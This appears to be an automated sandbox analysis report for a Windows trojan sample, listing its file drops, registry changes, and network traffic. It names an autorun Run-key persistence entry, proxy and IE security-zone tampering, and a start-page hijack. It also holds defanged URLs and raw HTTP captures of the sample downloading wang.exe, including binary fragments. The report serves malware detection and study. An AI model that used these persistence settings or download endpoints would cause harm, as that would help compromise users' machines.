Gen.Variant.Zusy.110367_56ddb80a1e

Dynamic Analysis

Payload

Behaviour	Description
EmailWorm	Worm can send e-mails.

Process activity

The Trojan creates the following process(es):

setup.exe:1836
taskkill.exe:916
%original file name%.exe:1616
regedit.exe:572

The Trojan injects its code into the following process(es):No processes have been created.

Mutexes

The following mutexes were created/opened:No objects were found.

File activity

The process setup.exe:1836 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Cookies\index.dat (388 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2E221QAM\OEM[1].htm (17 bytes)
C:\oem (34 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A781Y74F\conv[1].txt (1 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@100public[1].txt (219 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Cookies\Current_User@doudousoft[1].txt (0 bytes)

The process %original file name%.exe:1616 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
C:\setup.exe (9606 bytes)
%Documents and Settings%\%current user%\Local Settings\History\History.IE5\desktop.ini (159 bytes)
%Documents and Settings%\%current user%\Desktop\ÍøÖ·µ¼º½.lnk (729 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\PX45Y581\wang[1].htm (25 bytes)
%Documents and Settings%\%current user%\Cookies\Current_User@doudousoft[1].txt (207 bytes)
%Documents and Settings%\%current user%\Cookies\index.dat (400 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\PX45Y581\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\2E221QAM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\URYRI5ET\config[1].htm (25 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\URYRI5ET\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\A781Y74F\desktop.ini (67 bytes)

Registry activity

The process setup.exe:1836 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Internet Explorer\International]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1C 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "2E 10 87 E3 B3 D8 26 ED 59 6F AF A1 13 E1 76 36"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process taskkill.exe:916 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "B4 A1 75 48 17 B1 AA 0F FE E5 61 2D D8 09 6C 18"

The process %original file name%.exe:1616 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Start Menu" = "%Documents and Settings%\All Users\Start Menu"

"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Personal" = "%Documents and Settings%\%current user%\My Documents"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonMusic" = "%Documents and Settings%\All Users\Documents\My Music"
"Common Desktop" = "%Documents and Settings%\All Users\Desktop"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCR\TypeLib\{1EA4DBF0-3C3B-11CF-810C-00AA00389B71}\1.1\0\win32]
"(Default)" = "%System%\oleacc.dll"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"My Pictures" = "%Documents and Settings%\%current user%\My Documents\My Pictures"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Start Menu" = "%Documents and Settings%\%current user%\Start Menu"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 1B 00 00 00 01 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonVideo" = "%Documents and Settings%\All Users\Documents\My Videos"
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Local AppData" = "%Documents and Settings%\%current user%\Local Settings\Application Data"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "74 75 98 74 C6 C9 2D CE 12 D9 C0 1B F5 D5 05 D6"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.2345.com/?26263"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Play_Background_Sounds" = "yes"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

To automatically run itself each time Windows is booted, the Trojan adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"smss" = "c:\smss.exe"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Trojan deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process regedit.exe:572 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "FB 3D C8 0A 22 96 27 A2 EE 9E 2C 63 5B DC 0E 79"

Dropped PE files

MD5	File path
e4e325e3dbcb186124574f00f8676688	c:\setup.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Static Analysis

VersionInfo

Company Name: ????
Product Name: ????
Product Version: 1.0.0.0
Legal Copyright: ???? ????
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 1.0.0.0
File Description: ????
Comments: ????
Language: English (United States)

Company Name: ????Product Name: ????Product Version: 1.0.0.0Legal Copyright: ???? ????Legal Trademarks: Original Filename: Internal Name: File Version: 1.0.0.0File Description: ????Comments: ????Language: English (United States)

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	758451	761856	4.4944	a9933e2590e237584ef6cd1dbf82471f
.rdata	765952	3985990	3989504	4.99757	e7026a65a6b3e3cd3c8b090ed127f82f
.data	4755456	283752	73728	3.79412	9bd8d7bcc528174b74da5eaf9e1079bd
.rsrc	5042176	122304	122880	2.88752	c96d774d59c0ca7f998209e0aeb9ade6

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

URL	IP
hxxp://56.doudousoft.com/ini/liuliang/wang.html	222.191.251.197
hxxp://56.doudousoft.com/updata/305344326303316304274376/wang.exe	222.191.251.197
hxxp://validate.100public.com.cname.yunjiasu-cdn.net/conv.txt?.6889612123456789	162.159.208.103
hxxp://validate.100public.com.cname.yunjiasu-cdn.net/API/OEM.php?sid=5&vid=8460ee7933ad3399774fd7d5e2350863&_=.30037651234567	162.159.208.103
hxxp://validate.100public.com/API/OEM.php?sid=5&vid=8460ee7933ad3399774fd7d5e2350863&_=.30037651234567	162.159.208.103
hxxp://56.doudousoft.com/updata/......../wang.exe	222.191.251.197
hxxp://56.doudousoft.com/ini/liuliang/config.html	222.191.251.197
hxxp://validate.100public.com/conv.txt?.6889612123456789	162.159.208.103

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Range: bytes=1545828-

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 206 Partial Content

Connection: close

Date: Thu, 23 Jul 2015 08:08:55 GMT

Content-Length: 1030556

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Content-Range: bytes 1545828-2576383/2576384

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

.................................f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f.........................................................................................................................................................................................................................`................................................................................................................................................................................................................................................................................................................................................................................................................................................................................%B...............................................................fHTTP/1.1 206 Partial Content..Connection: close..Date: Thu, 23 Jul 2015 08:08:55 GMT..Content-Length: 1030556..Content-Type: application/octet-stream..Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe..Content-Range: bytes 1545828-2576383/2576384..Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ETag: "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0...................................f...f...f...f...f...f...f...f...f...f...f...f

<<< skipped >>>

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Range: bytes=1803466-

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 206 Partial Content

Connection: close

Date: Thu, 23 Jul 2015 08:08:51 GMT

Content-Length: 772918

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Content-Range: bytes 1803466-2576383/2576384

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

...........................f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f..............3T...........................................................*..<a..W}..u....................................................................................}R..f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f.@............3T..................................0Q..;a..u...............................................................................\...?...?............................}R..f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f.......................*..<a..f...u...........................................................................j...\...#...#...#...$...$...$...$...$...$...#...w....................m%..f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...f...g.................0....................................................................w...\...1...#...#...$...$...$...$...$...$...$...$...$...$...$...$...$...$...#....................HTTP/1.1 206 Partial Content..Connection: close..Date: Thu, 23 Jul 2015 08:08:51 GMT..Content-Length: 772918..Content-Type: application/octet-stream..Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe..Content-Range: bytes 1803466-2576383/2576384..Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ETag: "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0.............................f...f...f...f...f...f...f...f...f...f...f...f

<<< skipped >>>

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 200 OK

Connection: close

Date: Thu, 23 Jul 2015 08:08:42 GMT

Content-Length: 2576384

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......pI..4(..4(..4(..O4..1(..b7...(...4...(.......(..4(...*..V7../(...7..'(.......(...7..g(..4(...(......5(..Rich4(..........................PE..L....U3T..........................................@..........................`*.................................................@.....#.hW...........................................................................................................text............................... ..`.rdata........... ..................@..@.data...............................@....rsrc...hW....#..`..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

<<< skipped >>>

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Range: bytes=2061104-

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 206 Partial Content

Connection: close

Date: Thu, 23 Jul 2015 08:09:03 GMT

Content-Length: 515280

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Content-Range: bytes 2061104-2576383/2576384

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Range: bytes=257638-

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 206 Partial Content

Connection: close

Date: Thu, 23 Jul 2015 08:08:51 GMT

Content-Length: 2318746

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Content-Range: bytes 257638-2576383/2576384

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

....Y.C.3...~2.D$8.O.PQ...L.....}..V.E.B..|...C.;.|...u..T$<.....k..L$..D$0.....D$..9\..~...3..L$(_^][d........$..........j.h&.K.d.....Pd.%..........SU..VW.L$..6....E...$.........H..P..D...L$.P.4.....$......$........$....SV.T$8QRP...........t#.L$...$.........D$..9\..............D$0...........$....;.......u...$.........D$..9\........$....SVQ...-........tT..u......B.PS.t.....$.....D$0;.t....Q...RS.7...P..$....P.........u...$.....D$0;.|......@....U..H..z.;.}E..$......$....SR.P..@.QRP...^....L$.....$.........D$..9\.........3....L$4......E...$......H..P..D...L$4P..........D$LW.Q.P...|$..T$P.%......D$.t;..9\..L$4..$......t$4.c....L$...$.........t$..K....D$........$........$....WQ.H.RQ.T$XSR....................D$H..$.....D$..1..ti.U..F.;B.|V.N..T$..G...RP...}......D$...T....L$..T$..F.QSRPW..........D$...1....6...|$..D$...u............L$.SQ...'.......ub.U..B.PS..S...D$.f....f.C....{....p..K..U.....J...S........D$.......M..Q..H..L...T$.R...........t6..9\..L$4..$......t$4......L$...$.........t$.........S.D$..E<...L$..V..F.j.QRP.........9\..L$4..$......tHTTP/1.1 206 Partial Content..Connection: close..Date: Thu, 23 Jul 2015 08:08:51 GMT..Content-Length: 2318746..Content-Type: application/octet-stream..Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe..Content-Range: bytes 257638-2576383/2576384..Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ETag: "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0......Y.C.3...~2.D$8.O.PQ...L.....}..V.E.B..|...C.;.|...u..T$<.....k..L

<<< skipped >>>

GET /conv.txt?.6889612123456789 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: validate.100public.com

Connection: Keep-Alive

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 08:08:54 GMT

Content-Type: text/plain

Content-Length: 1521

Connection: keep-alive

Set-Cookie: __cfduid=d95da6de3325bdf9955353bba832f874e1437638933; expires=Fri, 22-Jul-16 08:08:53 GMT; path=/; domain=.100public.com; HttpOnly

Content-Encoding: gzip

Last-Modified: Mon, 23 Mar 2015 05:11:02 GMT

Accept-Ranges: bytes

ETag: "4019fc22765d01:0"

Vary: Accept-Encoding

X-Powered-By: ASP.NET

ServerTag: G2S3

Server: yunjiasu-nginx

CF-RAY: 20a5e6680c5e0f45-FRA

.............`.I.%&/m.{.J.J..t...`.$..@.........iG#).*..eVe]f.@......{....{....;.N'...?\fd.l..J...!....?~|.?".........{?...............v.N.y~0=8.t.Mf...............8...?...........?...............,..x.<..f..w.>....[................$..|.g..f.l..l?.t...t.6}x?......o..........{.>........d..._...S...O.f3...3...6..Oww....{0.....N.....~.....i...Sn......s....O'.....Nvf.~.;...:;?...zN..................!3..w..d.Ow.........;.W~. .1...?._.m....'..?398.wp...d.h.o...y~...............}K.{{.............w.f;.O.=x.i.p....Z................t..~6.7{..g4..........YNTy........w.y....w.g...._.m.............e..;....:..7...lr?#.....?._...................I.O&;...,..=".......|w7..p......'.y..?......_$.....................w.......O.....iv>;.~:.......wp....}.3;^.;.........L.&;.<...3y.O.?.?....^............L.3".....f.?..=..!........./..?.?.c.\..O.Y~.A>#ZL&.9...t......;..l.....=...{....1.......dr.K..4.>....x.w.|6....v.......`..`w.0....#}H........<...g.Y>.>...t2..>...w..tB.Dk.~@.......Lg....|.............|z...;.....Q.d.........{.,.G.p.O..J../h...O............g{.v.......4.{S.. ..7.............................*6..|....l2...<xx...`.>.....]H..V......g...............?x..p.p:y0...C{;....{;.v.;.ij....... .'..f..L_...M..?x....LH......?8xH.@.x(.`f].$.......|...9.Xv...`g....4.F.......Ow'...t..~.i....'.q.7....._0...M?=.......{{.3..{...{....?.0.4....H~.S......k9....H..Lv.Owx.........N..................9..s.).O/<..{...........'.{........M...O.....Pk..?........?..............?......?...s......S..?...l.......l.r0.9.

<<< skipped >>>

GET /API/OEM.php?sid=5&vid=8460ee7933ad3399774fd7d5e2350863&_=.30037651234567 HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0C)

Host: validate.100public.com

Connection: Keep-Alive

Cookie: __cfduid=d95da6de3325bdf9955353bba832f874e1437638933

HTTP/1.1 200 OK

Date: Thu, 23 Jul 2015 08:08:54 GMT

Content-Type: text/html

Transfer-Encoding: chunked

Connection: keep-alive

Vary: Accept-Encoding

X-Powered-By: PHP/5.3.28

X-Powered-By: ASP.NET

ServerTag: G2S3

Server: yunjiasu-nginx

CF-RAY: 20a5e66c8ce20f45-FRA

Content-Encoding: gzip

21............242VPP.K-*....K.M........a....F.f.......0..HTTP/1.1 200 OK..Date: Thu, 23 Jul 2015 08:08:54 GMT..Content-Type: text/html..Transfer-Encoding: chunked..Connection: keep-alive..Vary: Accept-Encoding..X-Powered-By: PHP/5.3.28..X-Powered-By: ASP.NET..ServerTag: G2S3..Server: yunjiasu-nginx..CF-RAY: 20a5e66c8ce20f45-FRA..Content-Encoding: gzip..21............242VPP.K-*....K.M........a....F.f.......0..

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Range: bytes=772914-

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 206 Partial Content

Connection: close

Date: Thu, 23 Jul 2015 08:08:50 GMT

Content-Length: 1803470

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Content-Range: bytes 772914-2576383/2576384

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

...(.]..2......M.......M.......P.].........u........M..C....M............].........M..$......].........M..A-...(.].........M..--...M...<.0....P.]..........M.........].........M.....2....M... .'......]..p......]..f......M..........M... ......0.]..D....`.]..:........]...........].."......h.]...........].........M.........].........M.......@.].........M.......h.].........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................HTTP/1.1 206 Partial Content..Connection: close..Date: Thu, 23 Jul 2015 08:08:50 GMT..Content-Length: 1803470..Content-Type: application/octet-stream..Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe..Content-Range: bytes 772914-2576383/2576384..Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT..Accept-Ranges: bytes..ETag: "af2c7ef4d9e1cf1:509e"..Server: IIS..X-Powered-By: WAF/2.0.....(.]..2......M.......M.......P.].........u........M..C....M............].

<<< skipped >>>

GET /updata/......../wang.exe HTTP/1.1

Host: 56.doudousoft.com

Accept: */*

Referer: hXXp://56.doudousoft.com/updata/........

User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98)

Range: bytes=1030552-

Pragma: no-cache

Cache-Control: no-cache

Connection: close

HTTP/1.1 206 Partial Content

Connection: close

Date: Thu, 23 Jul 2015 08:08:51 GMT

Content-Length: 1545832

Content-Type: application/octet-stream

Content-Location: hXXp://56.doudousoft.com/updata/......../wang.exe

Content-Range: bytes 1030552-2576383/2576384

Last-Modified: Tue, 07 Oct 2014 02:54:04 GMT

Accept-Ranges: bytes

ETag: "af2c7ef4d9e1cf1:509e"

Server: IIS

X-Powered-By: WAF/2.0

